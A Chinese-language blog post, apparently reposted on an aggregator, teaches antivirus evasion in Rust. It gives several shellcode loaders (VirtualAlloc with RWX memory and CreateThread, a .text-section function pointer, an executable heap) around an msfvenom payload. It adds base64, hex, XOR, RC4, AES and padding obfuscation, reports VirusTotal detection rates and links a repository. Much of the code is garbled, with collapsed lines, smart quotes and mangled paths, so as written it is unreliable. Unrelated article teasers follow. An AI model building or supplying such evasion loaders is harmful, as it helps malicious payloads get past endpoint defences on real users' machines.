当前位置: 首页 > news >正文

Rust免杀 Shellcode加载与混淆2

前言

这是半年前我学习Rust和免杀时的一些记录,最近打开知识库看到了这篇半年前的笔记,并且发现我常逛的安全社区都比较少有人分享Rust以及Rust免杀的帖子,于是想着将这篇笔记分享出来供大家参考和指正。由于我写这篇文章时也刚刚开始接触Rust,所以文中所涉及的知识和代码都有可能出现错误,所以再次说明这篇文章仅供参考并希望大家指正。

Shellcode加载方式

本文的主要目的是分享Rust对shellcode的加密混淆方式,所以对于shellcode加载只介绍两种基本的方式,可能在后续的文章中会对加载方式进行更多分享。

调用WinAPI

跟其他语言的shellcode加载器一样,要实现更多的shellcode加载方式,需要调用WinAPI。
执行shellcode的一般流程:

  1. 创建或获取一段可读写执行的内存空间
  2. 将shellcode移入这块内存空间
  3. 利用各种方式将程序执行的流程指向这块内存空间
    Rust调用WinAPI需要先引入依赖,Cargo是Rust的一个包管理工具,要引入winapi依赖需要在Cargo.toml添加:

winapi = {version=“0.3.9”,features=[“winuser”,“processthreadsapi”,“memoryapi”,“errhandlingapi”,“synchapi”]}
这里以加载msf生成的弹计算器的shellcode为例,先使用msfvenom生成一段raw格式的shellcode,保存到calc.bin文件中,并复制到Rust的项目目录下。

msfvenom -p windows/x64/exec cmd=calc.exe -f raw -o calc.bin
在Rust中,可以使用include_bytes!宏将静态文件在编译时包含进程序中。
下面通过调用VirtualAlloc申请一段内存,并设置为PAGE_EXECUTE_READWRITE权限,具体参数建议查阅微软WinAPI文档。然后通过std::ptr::copy将shellcode移动到内存中,接着通过CreateThread创建线程,WaitForSingleObject等待线程结束。
参考:VirtualAlloc function, CreateThread function, WaitForSingleObject function

use std::mem::transmute;
use winapi::um::errhandlingapi::GetLastError;
use winapi::um::memoryapi::VirtualAlloc;
use winapi::um::processthreadsapi::CreateThread;
use winapi::um::synchapi::WaitForSingleObject;

fn main() {
let buffer = include_bytes!(“…\calc.bin”);

unsafe {let ptr = VirtualAlloc(std::ptr::null_mut(), buffer.len(), 0x00001000, 0x40);if GetLastError() == 0 {std::ptr::copy(buffer.as_ptr() as *const u8, ptr as *mut u8, buffer.len());let mut threadid = 0;let threadhandle = CreateThread(std::ptr::null_mut(),0,Some(transmute(ptr)),std::ptr::null_mut(),0,&mut threadid,);WaitForSingleObject(threadhandle, 0xFFFFFFFF);} else {println!("执行失败:{}", GetLastError());}
}

}

函数指针

link_section是Rust的一个attribute,它用来将特定的函数或者变量放到程序的指定的区块中,.text区块通常用来存储程序的执行代码,它会被加载到内存中并由处理器执行。
然后通过std::mem::transmute将 *const u8 类型的指针转换为函数类型 fn(),最后执行shellcode。

fn main() {
const BUFFER_BYTES:&[u8] = include_bytes!(“…\calc.bin”);
const BUFFER_SIZE:usize = BUFFER_BYTES.len();

#[link_section = ".text"]
static BUFFER:[u8;BUFFER_SIZE] = *include_bytes!("..\\calc.bin");
unsafe{let exec = std::mem::transmute::<*const u8,fn()>(&BUFFER as *const u8);exec();
}

}

通过 heapapi 申请内存

由于VirtualAlloc是各大杀软的重点监控对象,所以通常需要使用其他的API来替代,下面介绍的是另一个常见的内存申请方式,即通过HeapCreate/HeapAlloc的组合来创建内存空间。
参考:HeapCreate function, HeapAlloc function

该方式同样需要先引入依赖,在Cargo.toml文件中添加如下依赖:

[dependencies]
winapi = {version=“0.3.9”,features=[“winuser”,“heapapi”,“errhandlingapi”]}
该方法通过HeapCreate创建HEAP_CREATE_ENABLE_EXECUTE权限的内存堆,然后通过HeapAlloc来从堆中分配内存空间,最后通过函数指针的方式执行shellcode。

use std::mem::transmute;
use winapi::ctypes::c_void;
use winapi::um::errhandlingapi::GetLastError;
use winapi::um::heapapi::HeapAlloc;
use winapi::um::heapapi::HeapCreate;

fn main() {
let buffer = include_bytes!(“…\calc.bin”);

unsafe {let heap = HeapCreate(0x40000, 0, 0);let ptr = HeapAlloc(heap, 8, buffer.len());if GetLastError() == 0 {std::ptr::copy(buffer.as_ptr() as *const u8, ptr as *mut u8, buffer.len());let exec = transmute::<*mut c_void, fn()>(ptr);exec();}
}

}

Shellcode混淆方式

上面介绍了在Rust中为shellcode申请内存空间和执行shellcode的几种常见的方式,接下来会介绍几种常见的编码和加密混淆方式在Rust中的实现。在实际的shellcode免杀的时候经常需要结合几种混淆方式,或者是自己设计加密混淆方式。

Base64编码

在Rust中实现base64编码同样需要引入依赖,在Cargo.toml文件中添加如下依赖:

[dependencies]
base64 = “0.20.0”
通过下面的代码即可将传入的切片类型的shellcode进行base64编码并返回一段字符串。

fn b64_enc(shellcode: &[u8]) -> String {
base64::encode(shellcode)
}
通过以下代码即可将得到的字符串解码,并返回Vec数组类型的shellcode。

fn b64_dec(shellcode:String) -> Vec {
base64::decode(shellcode).expect(“Error”)
}

Hex编码

在Rust中实现Hex编码同样需要引入依赖,在Cargo.toml文件中添加如下依赖:

[dependencies]
hex = “0.4.3”
通过下面的代码即可将传入的切片类型的shellcode进行Hex编码并返回一段字符串。

fn hex_enc(shellcode: &[u8]) -> String {
hex::encode(shellcode)
}
通过以下代码即可将得到的字符串解码,并返回Vec数组类型的shellcode。

fn hex_dec(shellcode:String) -> Vec {
hex::decode(shellcode).expect(“Error”)
}

异或加密

通过迭代器将shellcode与key逐个字符进行异或,然后进行base64编码返回一段字符串。

要进行解密,需要先进行base64解码,然后将异或加密后的shellcode再次与key进行逐个字符进行异或,即可还原shellcode。

fn xor_encrypt(shellcode: &[u8], key: &[u8]) -> String {
let mut encrypted = Vec::new();
for (i, &b) in shellcode.iter().enumerate() {
encrypted.push(b ^ key[i % key.len()]);
}
base64::encode(&encrypted)
}

fn xor_decrypt(encrypted: &[u8], key: &[u8]) -> Vec {
let encrypted = base64::decode(encrypted).expect(“msg”);
let mut decrypted = Vec::new();
for (i, &b) in encrypted.iter().enumerate() {
decrypted.push(b ^ key[i % key.len()]);
}
decrypted
}

RC4加密

Rust要实现RC4加密与加密需要引入依赖,在Cargo.toml文件中添加下面的依赖。

[dependencies]
rust-crypto=“0.2.36”
base64=“0.13.0”
rustc-serialize = “0.3”
下面是实现RC4加解密的代码,在加密的函数中最终返回的是Base64编码后的字符串,而解密函数最终返回的是Vec数组,这是为了方便在shellcode loader中读取加密后的shellcode以及加载解密后的shellcode。

use crypto::rc4::Rc4;
use crypto::symmetriccipher::SynchronousStreamCipher;
use std::iter::repeat;

fn main() {
let buffer = include_bytes!(“…\calc.bin”).as_slice();
let key = “pRNtb343heAlnPFw5QiPHKxz3Z1dzLsqhiUyBNtTiI21DjUsZ0”;

let b64_string = enc(buffer, key);
let shellcode = dec(b64_string.as_str(), key);println!("== RC4 ==");
println!("Key: {}", key);
println!("\nEncrypted (Base-64): {}", b64_string);
println!("\nDecrypted: {:?}", shellcode);

}

fn enc(shellcode: &[u8], key: &str) -> String {
let mut rc4 = Rc4::new(key.as_bytes());

let mut result: Vec<u8> = repeat(0).take(shellcode.len()).collect();
rc4.process(shellcode, &mut result);base64::encode(&mut result)

}

fn dec(b64: &str, key: &str) -> Vec {
let mut result = match base64::decode(b64) {
Ok(result) => result,
_ => “”.as_bytes().to_vec(),
};

let mut rc4 = Rc4::new(key.as_bytes());let mut shellcode: Vec<u8> = repeat(0).take(result.len()).collect();
rc4.process(&mut result[..], &mut shellcode);shellcode

}

AES-CFB加密

Rust要实现AES加密与加密也需要引入依赖,在Cargo.toml文件中添加下面的依赖。

[dependencies]
aes=“0.7.5”
hex=“0.4.3”
block-modes=“0.8.1”
hex-literal=“0.3.3”
下面是实现AES-CFB加解密的代码,在加密的函数中最终返回的是Hex编码后的字符串,而解密函数最终返回的是Vec数组,同样是为了方便在shellcode loader中读取加密后的shellcode以及加载解密后的shellcode。

use aes::Aes128;
use block_modes::block_padding::Pkcs7;
use block_modes::{BlockMode, Cfb};
use hex::encode;
use hex_literal::hex;

type Aes128ECfb = Cfb<Aes128, Pkcs7>;

fn main() {
let shellcode = include_bytes!(“…\calc.bin”).as_slice();
let key = “gWW8QklFyVIQfpDN”;
let iv = hex!(“57504c385a78736f336b4946426a626f”);

println!("==128-bit AES CFB Mode==");
println!("Key: {}", key);
println!("iv: {}", encode(iv));let encrypted = enc(shellcode, key, iv);
println!("\nEncrypted: {}", encrypted);let decrypted = dec(encrypted.as_str(), key, iv);
println!("\nDecrypted: {:?}", decrypted);

}

fn enc(shellcode: &[u8], key: &str, iv: [u8; 16]) -> String {
let key = key.as_bytes().to_vec();

let cipher = Aes128ECfb::new_from_slices(key.as_slice(), iv.as_slice()).unwrap();let pos = shellcode.len();
let mut buffer = [0u8; 2560];
buffer[..pos].copy_from_slice(shellcode);let ciphertext = cipher.encrypt(&mut buffer, pos).unwrap();hex::encode(ciphertext)

}

fn dec(encrypted: &str, key: &str, iv: [u8; 16]) -> Vec {
let binding = hex::decode(encrypted).expect(“Decoding failed”);
let ciphertext = binding.as_slice();

let key = key.as_bytes().to_vec();let cipher = Aes128ECfb::new_from_slices(key.as_slice(), iv.as_slice()).unwrap();let mut buf = ciphertext.to_vec();
let shellcode = cipher.decrypt(&mut buf).unwrap();shellcode.to_vec()

}

添加随机字符

同样先在Cargo.toml文件中添加下面的依赖。

[dependencies]
hex = “0.4.3”
下面是结合异或加密和添加随机字符的代码,xor_encrypt将对shellcode与key进行异或,使用hex::encode将异或结果转为十六进制字符串返回,方便后面添加随机字符。add_random迭代xor_encrypt返回的字符串的每个字符,并在每次迭代时添加一个随机字符。最后,使用 hex::encode 将结果转为十六进制字符串返回。xor_decrypt和rm_random是对应的二次异或和删除随机字符的函数。

fn xor_encrypt(shellcode: &[u8], key: &[u8]) -> String {
let mut encrypted = Vec::new();
for (i, &b) in shellcode.iter().enumerate() {
encrypted.push(b ^ key[i % key.len()]);
}
hex::encode(&encrypted)
}

fn xor_decrypt(encrypted: &[u8], key: &[u8]) -> Vec {
let encrypted = hex::decode(encrypted).expect(“Error”);

let mut decrypted = Vec::new();
for (i, &b) in encrypted.iter().enumerate() {decrypted.push(b ^ key[i % key.len()]);
}
decrypted

}

fn add_random(xor_string: &str, key: &str) -> String {
let mut result = String::new();

for (i, c) in xor_string.chars().enumerate() {result.push(c);result.push(key.chars().nth(i % key.len()).unwrap());
}
hex::encode(&result)

}

fn rm_random(random_string: &str) -> Vec {
let mut result = String::new();

let random_string = hex::decode(random_string).expect("Invalid String");
let random_string = match std::str::from_utf8(random_string.as_slice()) {Ok(s) => s,Err(_) => "Invalid UTF-8 sequence",
};for (i, c) in random_string.chars().enumerate() {if i % 2 == 0 {result.push(c);}
}
result.as_bytes().to_vec()

}

总结

Rust的编译体积是非常小的,虽然比不上C/C++,但是和Python和Go相比优势还是非常大的,并且Rust的热门程度也远小于Python和Go,所以杀软对Rust的检出程度也是非常低的,这都是Rust免杀的天然优势。结合本文章几种基础的加载方式和混淆方式还是可以轻松过一部分杀软的。以下链接是我半年前上传到virustotal的一个样本,半年过去了,目前的检出率为14/71:VirusTotal File(刚上传时检出率为0/71)。
这篇文章的代码部分我也已经提交到Github供大家参考:
AV-Bypass-Learning/rust-bypass-av

参考

Rust 参考手册 中文版
Programming reference for the Win32 API
include_bytes in std - Rust
Application Binary Interface - The Rust Reference

相关文章:

Rust免杀 Shellcode加载与混淆2

前言 这是半年前我学习Rust和免杀时的一些记录&#xff0c;最近打开知识库看到了这篇半年前的笔记&#xff0c;并且发现我常逛的安全社区都比较少有人分享Rust以及Rust免杀的帖子&#xff0c;于是想着将这篇笔记分享出来供大家参考和指正。由于我写这篇文章时也刚刚开始接触Ru…...

牛客java训练题 day1

9.24 day1 Q 1. this 指针是用来干什么的&#xff1f; 2.基类和派生类分别是指什么&#xff1f; 3.为什么方法中不能写静态变量 4. 解释一下ASCII码和ANSI码和两者的区别 5.简述j ava.io java.sql java.awt java.rmi 分别是什么类型的包 6. 看下面一段代码&#xff1a;…...

接口测试练习步骤

在接触接口测试过程中补了很多课&#xff0c; 终于有点领悟接口测试的根本&#xff1b; 偶是个实用派&#xff5e;&#xff0c;那么现实中没有用的东西&#xff0c;基本上我都不会有很大的概念&#xff1b; 下面给的是接口测试的统一大步骤&#xff0c;其实就是让我们对接口…...

Qt/C++音视频开发56-udp推流和拉流/组播和单播推流

一、前言 之前已经实现了rtsp/rtmp推流&#xff0c;rtsp/rtmp/hls/flv/ws-flv/webrtc等拉流&#xff0c;这种一般都需要依赖一个独立的流媒体服务程序&#xff0c;有没有一种更便捷的方式不需要这种依赖&#xff0c;然后又能实现推拉流呢&#xff0c;当然有的那就是udpp推流&a…...

人工智能轨道交通行业周刊-第61期(2023.9.18-9.24)

本期关键词&#xff1a;焊线机器人、智能综合运维管理系统、信号平面图、铁路部门架构、书生浦语大模型 1 整理涉及公众号名单 1.1 行业类 RT轨道交通人民铁道世界轨道交通资讯网铁路信号技术交流北京铁路轨道交通网上榜铁路视点ITS World轨道交通联盟VSTR铁路与城市轨道交通…...

for...in 和 for...of 的区别

for...in 和 for...of 都是 JavaScript 中的循环语句&#xff0c;但它们的作用和使用方式略有不同。 1、for..in 循环 for..in 循环用于遍历对象的可枚举属性&#xff0c;它会将对象的每个属性名称(或键名)作为迭代变量来遍历。 以下是 for...in 的基本语法 for (variable …...

高并发系统 - 接口幂等技术方案,高可用系统架构与技术选型

幂等概念来自于数学,在计算机科学中,幂等表示一次后、或多次请求某一资源,应该有同样的影响效果。 在业务表现上一般是同样的数据效果,下面就常用的业务场景,来聊聊幂等的技术方案。 ----------------- 数据层 ----------------- 索引与事务 根据业务需要,给表添加唯一索…...

简单的手机电脑无线传输方案@固定android生成ftp的IP地址(android@windows)

文章目录 abstractwindows浏览android文件环境准备客户端软件无线网络链接步骤其他方法 手机浏览电脑文件公网局域网everythingpython http.server 高级:固定android设备IP准备检查模块是否生效 windows 访问ftp服务器快捷方式命令行方式双击启动方式普通快捷方式映射新的网络位…...

Unity3D 检测鼠标位置的Sprite像素颜色

思路 获取鼠标所在屏幕坐标(Vector2)通过相机ScreenToWorldPoint(Vector3)转为世界坐标 (注意Vector3的z是距离相机的距离&#xff0c;相机需要正交)通过SpriteRenderer访问边界Bounds通过Bounds.Contain检测世界坐标是否在SpriteBounds内通过比例计算来确定在Sprite内的UV坐标…...

layui input 监听事件

//监听表单单选框复选框选择 form.on(radio, function (data) { console.log(data.value); //得到被选中的值 }); //监听表单下拉菜单选择 form.on(select, function (data) { console.log(data.value); //得到被选中的值 }); //监听表单复选框选择 …...

一致性思维链(SELF-CONSISTENCY IMPROVES CHAIN OF THOUGHT REASONING IN LANGUAGE MODELS)

概要 思维链已经在很多任务上取得了非常显著的效果&#xff0c;这篇论文中提出了一种 self-consistency 的算法&#xff0c;来代替 贪婪解码 算法。本方法通过 采样多个思维链集合&#xff0c;然后LLM模型生成后&#xff0c;选择一个最一致的答案作为最后的结果。一致性思维链…...

腾讯云16核服务器配置大全_16核CPU型号性能测评

腾讯云16核CPU服务器有哪些配置可以选择&#xff1f;可以选择标准型S6、标准型SA3、计算型C6或标准型S5等&#xff0c;目前标准型S5云服务器有优惠活动&#xff0c;性价比高&#xff0c;计算型C6云服务器16核性能更高&#xff0c;轻量16核32G28M带宽优惠价3468元15个月&#xf…...

HTML中Input elements should have autocomplete attributes的解决方案

kwfwservice.php:1 [DOM] Input elements should have autocomplete attributes (suggested: “current-password”): (More info: https://goo.gl/9p2vKq) <input name"password" id"password" lay-verify"required" placeholder"密码&…...

2808. 使循环数组所有元素相等的最少秒数;1015. 可被 K 整除的最小整数;1001. 网格照明

2808. 使循环数组所有元素相等的最少秒数 核心思想&#xff1a;枚举每个元素作为相等元素最多需要多少秒&#xff0c;然后维护它的最小值。最多需要多少秒是怎么计算的&#xff0c;我们可以把相等值的下标拿出来&#xff0c;然后你会发现两个相邻下标&#xff08;相邻下标只的…...

Python爬虫在Web应用自动化测试中的应用

在Web应用开发过程中&#xff0c;自动化测试是确保应用质量和稳定性的重要环节。本文将介绍如何使用Python爬虫与自动化测试技术相结合&#xff0c;实现对Web应用进行自动化测试的方法和步骤。通过这种结合&#xff0c;我们可以提高测试效率、减少人力成本&#xff0c;并确保应…...

苹果手机短信删除了怎么恢复?3种有效方法介绍

手机短信是一种即时通信方式&#xff0c;人们可以使用短信来达到快速传递信息的目的。在没有网络或者网络不稳定的时候&#xff0c;短信仍然可以做到发送和接收&#xff0c;这弥补了其他网络通信软件的缺点。 所以说&#xff0c;手机短信仍然是我们生活中不可缺少的一部分。当…...

前端JavaScript中的 == 和 ===区别,以及他们的应用场景,快来看看吧,积累一点知识。

&#x1f3ac; 江城开朗的豌豆&#xff1a;个人主页 &#x1f525; 个人专栏 :《 VUE 》 《 javaScript 》 ⛺️ 生活的理想&#xff0c;就是为了理想的生活 ! 目录 一、等于操作符 二、全等操作符 三、区别 小结 一、等于操作符 等于操作符用两个等于号&#xff08; &am…...

文献阅读:LIMA: Less Is More for Alignment

文献阅读&#xff1a;LIMA: Less Is More for Alignment 1. 内容简介2. 实验设计 1. 整体实验设计2. 数据准备3. 模型准备4. metrics设计 3. 实验结果 1. 基础实验2. 消解实验3. 多轮对话 4. 结论 & 思考 文献链接&#xff1a;https://arxiv.org/abs/2305.11206 1. 内容简…...

机器学习第十四课--神经网络

总结起来&#xff0c;对于深度学习的发展跟以下几点是离不开的: 大量的数据(大数据)计算资源(如GPU)训练方法(如预训练) 很多时候&#xff0c;我们也可以认为真正让深度学习爆发起来的是数据和算力&#xff0c;这并不是没道理的。 由于神经网络是深度学习的基础&#xff0c;学…...

React(react18)中组件通信04——redux入门

React&#xff08;react18&#xff09;中组件通信04——redux入门 1. 前言1.1 React中组件通信的其他方式1.2 介绍redux1.2.1 参考官网1.2.2 redux原理图1.2.3 redux基础介绍1.2.3.1 action1.2.3.2 store1.2.3.3 reducer 1.3 安装redux 2. redux入门例子3. redux入门例子——优…...

Linux链表操作全解析

Linux C语言链表深度解析与实战技巧 一、链表基础概念与内核链表优势1.1 为什么使用链表&#xff1f;1.2 Linux 内核链表与用户态链表的区别 二、内核链表结构与宏解析常用宏/函数 三、内核链表的优点四、用户态链表示例五、双向循环链表在内核中的实现优势5.1 插入效率5.2 安全…...

Xshell远程连接Kali(默认 | 私钥)Note版

前言:xshell远程连接&#xff0c;私钥连接和常规默认连接 任务一 开启ssh服务 service ssh status //查看ssh服务状态 service ssh start //开启ssh服务 update-rc.d ssh enable //开启自启动ssh服务 任务二 修改配置文件 vi /etc/ssh/ssh_config //第一…...

【SpringBoot】100、SpringBoot中使用自定义注解+AOP实现参数自动解密

在实际项目中,用户注册、登录、修改密码等操作,都涉及到参数传输安全问题。所以我们需要在前端对账户、密码等敏感信息加密传输,在后端接收到数据后能自动解密。 1、引入依赖 <dependency><groupId>org.springframework.boot</groupId><artifactId...

UE5 学习系列(三)创建和移动物体

这篇博客是该系列的第三篇&#xff0c;是在之前两篇博客的基础上展开&#xff0c;主要介绍如何在操作界面中创建和拖动物体&#xff0c;这篇博客跟随的视频链接如下&#xff1a; B 站视频&#xff1a;s03-创建和移动物体 如果你不打算开之前的博客并且对UE5 比较熟的话按照以…...

【C语言练习】080. 使用C语言实现简单的数据库操作

080. 使用C语言实现简单的数据库操作 080. 使用C语言实现简单的数据库操作使用原生APIODBC接口第三方库ORM框架文件模拟1. 安装SQLite2. 示例代码:使用SQLite创建数据库、表和插入数据3. 编译和运行4. 示例运行输出:5. 注意事项6. 总结080. 使用C语言实现简单的数据库操作 在…...

Android15默认授权浮窗权限

我们经常有那种需求&#xff0c;客户需要定制的apk集成在ROM中&#xff0c;并且默认授予其【显示在其他应用的上层】权限&#xff0c;也就是我们常说的浮窗权限&#xff0c;那么我们就可以通过以下方法在wms、ams等系统服务的systemReady()方法中调用即可实现预置应用默认授权浮…...

企业如何增强终端安全?

在数字化转型加速的今天&#xff0c;企业的业务运行越来越依赖于终端设备。从员工的笔记本电脑、智能手机&#xff0c;到工厂里的物联网设备、智能传感器&#xff0c;这些终端构成了企业与外部世界连接的 “神经末梢”。然而&#xff0c;随着远程办公的常态化和设备接入的爆炸式…...

听写流程自动化实践,轻量级教育辅助

随着智能教育工具的发展&#xff0c;越来越多的传统学习方式正在被数字化、自动化所优化。听写作为语文、英语等学科中重要的基础训练形式&#xff0c;也迎来了更高效的解决方案。 这是一款轻量但功能强大的听写辅助工具。它是基于本地词库与可选在线语音引擎构建&#xff0c;…...

重启Eureka集群中的节点,对已经注册的服务有什么影响

先看答案&#xff0c;如果正确地操作&#xff0c;重启Eureka集群中的节点&#xff0c;对已经注册的服务影响非常小&#xff0c;甚至可以做到无感知。 但如果操作不当&#xff0c;可能会引发短暂的服务发现问题。 下面我们从Eureka的核心工作原理来详细分析这个问题。 Eureka的…...

Pinocchio 库详解及其在足式机器人上的应用

Pinocchio 库详解及其在足式机器人上的应用 Pinocchio (Pinocchio is not only a nose) 是一个开源的 C 库&#xff0c;专门用于快速计算机器人模型的正向运动学、逆向运动学、雅可比矩阵、动力学和动力学导数。它主要关注效率和准确性&#xff0c;并提供了一个通用的框架&…...